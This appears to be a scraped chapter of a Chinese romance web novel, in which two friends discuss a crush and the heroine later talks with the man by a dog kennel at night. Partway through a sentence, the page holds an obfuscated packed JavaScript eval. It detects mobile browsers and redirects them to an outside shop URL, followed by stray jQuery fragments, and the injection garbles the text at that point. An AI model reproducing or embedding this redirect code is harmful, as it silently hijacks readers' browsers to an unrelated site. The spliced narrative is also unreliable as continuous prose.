文趣网 > 都市小说 > 这就是自动泊车? > 13. 第 13 章
    蓝汀闻言一怔,只管甩自己的被套。

    “别装傻,你听见了。”毛晓菲两步上了床,快步靠向蓝汀身边,催促着她要一个答案。

    “他是我邻居。”蓝汀脸藏进被单里,声音像是从水下朦胧传来。

    毛晓菲难得压低了嗓门:“我就知道!就是你的那个大帅哥?前几天也是跟他聊天失恋了?”

    “什么失恋,八字根本没一撇好吗!”蓝汀想到两人沉寂的聊天记录,使劲抖了抖被子。

    “不应该啊,刚才吃饭的时候,他总盯着你看呢。”晓菲松了被角,仔细回忆起来。

    “你怎么知道,难道你总盯着他看?”蓝汀露出半个头,眼睛透过花红的被单,似笑非笑地瞅着晓菲。

    “死丫头!”毛晓菲刚要发作,眼珠一转,又作娇滴滴状,缓缓道,“你别说,蒋先生长得真不错,虽然有钱,可人又清爽,不惹人讨厌,很是合适呢,这样的男人,女人遇见了难道会放过?”

    晓菲说罢,看着蓝汀的眼珠子慢慢黯淡下去,脑瓜子像太阳落山似的一点点降低,又要缩回被单下头去。

    见蓝汀的神色,她心里猜中了七八分。

    毛晓菲是个直来直去的急脾气,瞧她那颓丧地样子便来了气,一把扯下那劳什子被单,捏着她的肩膀将人往起提:“你这是什么出息,咱们是缺鼻子还是少眼睛?我见他对你并非没有意思,喜欢就去追啊。”

    “你说的对,他是玻璃楼里的人,平时不知道有多少人上赶着追他,我何苦自讨没趣。”蓝汀想到那段停止的聊天记录,越想越觉得晓菲姐说的对,士气又沉下去几分。

    “人家都拒绝过我了。”

    “谁说的,那他刚才吃饭干嘛照顾你。”毛晓菲戳戳她的脑袋,不知道蓝汀在想些什么。

    “不是啊,他看起来是个忙人,既然已经不跟我联系了,自然是拒绝的意思,成年人的世界,何必要说的那么明白。”蓝汀说这话的时候,脸上显示出几分深沉来。

    毛晓菲瞧着她的样子,忍不住笑了,手指挠挠她腰间的痒处:“这话谁跟你说的?想知道为什么就去问,自己一个人东猜西猜,有什么用?”

    她记得蓝汀从前做事,逃不过一句“不撞南墙不回头”,几时变成了这样,什么都没做,就懊丧至此。

    轻咳两声,拍拍蓝汀的肩膀,毛晓菲盘腿坐在床上,掐了个诀,故作神秘道:“我瞧你跟他有一段缘分。”

    蓝汀抬眼看她一眼,眼中藏了几分探究。

    毛晓菲眯着眼偷瞄她,见她在听,又接着道:“你偏偏撞上了他的车,此为一缘;你二人本要疏远,今日在次遇见,此为二缘,有此两缘,此为良缘也~”

    蓝汀还道她要说出什么有理的话,没想到净是一通胡说八道,鸭毛填的枕头就往晓菲身上落,打的她满床逃窜。

    “好了好了,不逗你了,你好好想想,我说的不是没有道理,你且去试试嘛,没成又不丢人,成了不是赚大了。”毛晓菲摁住枕头,拍拍蓝汀的脸蛋,“这么漂亮的脸,天天在这荒山里可惜了,你好歹也用上一用。”

    说完便跑了出去,只留蓝汀一个坐在床上乱想。

    毛晓菲才跑出去,又被芳姨揪住:“怎么半天不回来,再去找一床被褥来,高星也要住一晚。”

    她刚好起来的心情骤然遮上乌云:“干什么!养鸡场快开成旅社了,要不然办农家乐得了。”

    芳姨笑道:“行了,真办农家乐,更要累死了。”

    ----------------

    不久前,酒菜撤下,高星捡了抹布擦桌子。

    芳姨等人都去忙活了,蒋宴坐在屋子里,待在一旁并不动手。

    “你不帮忙就出去。”高星看着他悠哉坐在一旁,心里大大的不痛快。

    蒋宴点点头:“那我找蓝汀去。”

    “哎!你回来,芳姨还要来的。”高星又不想他出去了,手里的抹布狠狠一摔,还是继续忙他的活。

    两人就这样面对面坐着,高星气鼓鼓的,蒋宴只管看手机里的消息,并不理会他。

    芳姨端着一盘水果进来,热情地招待两人,跟蒋宴道:“小汀她们正给你收拾屋子,你这一天也累坏了,等会好好休息一下。”

    蒋宴的目光离开手机,朝芳姨笑着点点头。

    高星的眼睛又睁大不少:“你咋还要在这住一晚啊?”

    “是啊,太晚了,蒋先生一个人回城里多不安全。”芳姨捡了块西瓜,细嚼慢咽的品尝,这是今年新下来的西瓜,她在山下瓜农手里买了七八个,很是清甜。

    蒋宴无视高星那复杂的目光,重新埋头于手机。

    “芳姨,我喝酒了,开不了车,能不能……”高星撑着脑袋想了半天,终于想出一个绝佳的理由,自己却不好意思说完,只嘿嘿地憨笑着。

    芳姨被他吓了一跳,差点被西瓜呛住,剧烈地咳了起来。

    蒋宴抬头看了一眼高星,转而倒了一杯水递给芳姨。

    芳姨好容易压住咳嗽,盯着高星看了半天:“就喝了那么点酒,也好意思说?”

    “芳姨,你这酒后劲儿大呢,再说了,安全第一嘛。”高星头垂得更低。

    芳姨打了个酒嗝,她也没想到,自己酿的米酒有这么大的劲儿,放下手里的签子,犹豫着看向蒋宴,他却没抬头,芳姨让两人住一个屋的念头便缩了回去:“行了,我叫蓝汀再给你收拾一张床。”

    高星挑衅的目光被对面无视,十分不爽。

    这人怎么,总是无视他!

    有了机会,高星仔细打量着对面的男人,他的西装平整熨贴,即使奔波了一整天,也并没有想象中的狼狈。

    高星看了看自己灰扑扑绣着自己名字的工服,不由得向下扯了扯。

    蒋宴低着头,眉毛遮住眼睛,只露出高挑的鼻梁,凌厉的下颌角斜斜对着高星,手机屏幕的亮光将他的脸打的白皙又平整。

    高星在心里冷哼一声,男人长得再帅有什么用,最重要的是体贴温柔!在心里给自己打打气,高星又添了些勇气来。

    芳姨在门外探头:“蒋先生,你的房间收拾好了,就是门外亮着灯的那间。”

    蒋宴抬头一笑,芳姨一时有些接不住,昏暗的房间竟一下子明媚起来。

    芳姨在心中略略感叹,年轻人是好啊,随便笑一下也帅。

    蒋宴跟随灯光的指引,来到自己的房间。

    他两边眉头不受控制的挑了起来,脸被艳红色的花床映得通红。

    他盯着那床也许小时候在奶奶家见过的花被子,闭上了眼睛。

    但这是他今晚要休息的地方,沉默了半响,蒋宴还是走过去掀开看了看。

    床单还算正常,只是粉白相间的竖条纹,他脱了外套,半坐在床边,屏幕亮起,他又点开手机。

    刚回了两个消息,蒋宴忽被身后的惊叫声吓了一跳,手机几乎滑脱了手,在空中晃荡两下,又被他抓住了。

    蓝汀站在卫生间门口,腮上还带着水珠,脸上一片惊慌:“你什么时候进来的,你要休息了吗?”

    蒋宴以为没人,这才半靠着休息,蓝汀忽然冒出来,他反而不知道怎么才好,只略坐直了些:“芳姨刚才说收拾好了,我才进来的。”

    蓝汀胡乱点点头,忙要退出去。

    “你要不要擦擦脸?”蒋宴从旁边抽出一张纸巾,自然的走下床来递给蓝汀。

    不得不说,蓝汀的衣着跟这里很匹配,红花绿树叶,蒋宴不由得笑了。

    “你笑什么?”蓝汀正沾着脸上的水,见他笑得古怪,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632579|206437||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    疑惑道。

    “没什么。”蒋宴掩住嘴角。

    蓝汀对他的隐瞒表示不满,但并没再问什么。

    忽然想起晓菲姐的话,蓝汀又道:“你明天几点起,我来叫你。”

    “不用了,我有闹钟。”蒋宴指指手机。

    蓝汀在心里狠狠拧了一把自己的脑袋,怎么就想出来这一句,你不知道有手机闹钟吗,羞得脸上几乎挂不住,转身就要逃跑。

    蒋宴喊她也不回头,只得快步追上去:“哎,你等等,你们都几点起,我可能还要再打扰一顿早饭。”

    “七点。”蓝汀又要走,蒋宴却黏糊糊跟了上来。

    “菜园里是那只土鸡吗?”

    蓝汀没想到他还记得,点点头:“你要去看看它吗?”

    蒋晏连声拒绝,知道它还活着就行。

    “你知道哪里信号好一点吗?”

    蒋宴举着亮着屏幕的手机,做了个无奈的表情,他发出去的图片旁边还带着加载中的小圆圈。

    蓝汀一怔。

    蒋宴的眉头挺拔似山峰,眼窝深邃却不严厉,笑得时候反而又添了些亲切,眼睛是极标准的四边形,上扬或下挑,都别有一番风情。

    一转脸,两人蹲在虎子的窝前。

    蒋宴跟凶神恶煞的黑狗面对面,犹豫道:“这里真的信号好吗?”

    话还没说完,手里的图片已经发送成功。

    蓝汀一个仰头,眼里不加掩饰地释放着不满,干嘛怀疑自己。

    蒋宴读懂了她的神色,两手合十,学着她之前的样子作了一个古怪的揖。

    这回轮到蓝汀被逗笑。

    蓝汀蹲在旁边,任由夜风吹脸,方才刚用冷水洗过,才将将凉了些,这会儿没跟他说上两句话,脸上又烧也似的红了起来,叫晓菲姐看见,更惹她笑话。

    蓝汀也不知道自己是怎么了,前几天才说的再也不理他了,哪有好人忙得连回一句道谢的时间都没有?分明就是不想再同她相处下去了。

    可今天才见了一回,蓝汀的心里又同那被小舟闯入的湖水一般,剧烈的荡起涟漪来。

    蓝汀蹲在虎子的小窝前,有一下没一下的摸着虎子毛茸茸的脑袋。

    虎子不知道主人为什么大半夜不睡觉,但它依旧开心的摇晃尾巴。

    “很重要的事吗?”蓝汀看着蒋宴的屏幕在迅速滚动,一排小字压着一排小字飞上去,又想起刚才的话,低声问道。

    “不是,只是明天上午回不去,调整一下工作。”蒋宴没抬头。

    蓝汀自己点点头:“你很忙吧。”

    蒋宴抬头,冲她笑了笑,那笑容带着几分凄惨:“瞎忙而已。”

    蓝汀从没见过蒋宴露出这种表情,微微吃惊。

    蓝汀踟蹰片刻,手指在虎子身上打着漩儿,黑色的毛发时不时被翻起,露出发白的肚皮来,虎子舒服的发出浅浅地呼噜声。

    “你为什么不回我消息啊。”

    蓝汀的声音轻且静,比夏夜的风还浅了几分。

    她心里却并不平静,她用了极大的力气才讲出这一句来,手下骤然收紧。

    虎子被揪住一撮毛毛,嗷呜着跳了起来,脑袋私下晃动,搜寻着不知从何而来的危险。

    蓝汀这才意识到自己的失态,心疼地看了眼惊慌的狗子,又担心它惊动了其他人,连忙抱着虎子的大脑袋,低声安抚它。

    蒋宴终于处理完了所有@他的消息,放下手机长出了一口气,只听见虎子在身前哀嚎,一脸警惕地盯着他。

    他两手举起,向后退了两步:“我可没动你啊。”

    虎子像是看懂了蒋宴的话,也许是蓝汀的安抚起了效果,它又趴着不动了。

    蒋宴刚才似乎错过了什么,略一停顿:“你刚才说什么?”